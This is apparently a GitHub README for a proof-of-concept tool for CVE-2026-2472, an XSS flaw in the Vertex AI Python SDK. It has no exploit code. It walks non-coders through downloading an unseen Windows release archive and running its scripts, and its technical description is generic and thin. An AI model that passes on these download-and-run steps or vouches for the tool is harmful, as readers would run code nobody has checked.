megafart1/cve-2026-2472-vertex-ai-sdk-google-cloudExpose and detail an unauthenticated stored XSS vulnerability in the Google Cloud Vertex AI Python SDK affecting versions 1.98.0 to 1.130.9.
This tool shows a technical proof of concept (PoC) for the security issue CVE-2026-2472. The issue affects the Vertex AI Python SDK from Google Cloud Platform. It relates to an unauthenticated and stored cross-site scripting (XSS) vulnerability in parts of the SDK used with Jupyter and Colab notebooks.
The software helps you see how this vulnerability can be triggered. It runs on Windows and does not need coding knowledge. You can test this safely on your own system to understand the risk.
Before you start, make sure your PC meets the following:
This download contains:
The scripts simulate how an attacker can inject malicious content into Jupyter or Colab notebook sessions through the SDK.
This section guides you step-by-step on how to download, install, and run the software on a Windows PC with no coding experience.
Click this link or the button above to open the official release page:
On the release page, find the latest version. It appears as a file archive (usually .zip) or a folder containing the files.
Click the file to download it. Save it somewhere easy to find, like your Desktop or Downloads folder.
Once the download finishes, find the .zip or folder on your PC.
.zip fileThis unpacks the files so you can use them.
This tool uses Python scripts. You need Python 3.8 or later installed.
To check if Python is installed:
cmd and open the Command Promptpython --version and press EnterIf you see a version number 3.8 or higher, skip this step.
If Python is not installed or the version is older:
The scripts need specific Python packages from the Python Package Index (PyPI).
To install them:
cd path\to\folder (replace path\to\folder with your folder location)pip install -r requirements.txt
This downloads and installs all required libraries the program needs.
In the Command Prompt, while inside the project folder, run:
python main.py
This starts the demonstration script.
The script will simulate the vulnerability and show messages that explain what is happening. Follow the instructions on screen to see the test results.
XSS is a type of security flaw where an attacker injects bad scripts into websites or applications. The attacker’s code can then run inside your browser or app and cause harm.
This tool shows one way XSS can happen in Google Cloud’s Vertex AI SDK when used in notebooks like Jupyter or Colab.
If an attacker uses this vulnerability, they might run harmful scripts without being logged in. It can lead to data theft or other attacks.
This PoC raises awareness so users and developers can better protect their systems.
Visit the release page here to download the files:
This repository is for research and education on cloud platform security. It targets the issue CVE-2026-2472 affecting Google Cloud Platform’s Vertex AI SDK.
For questions or issues, use the GitHub Issues page here: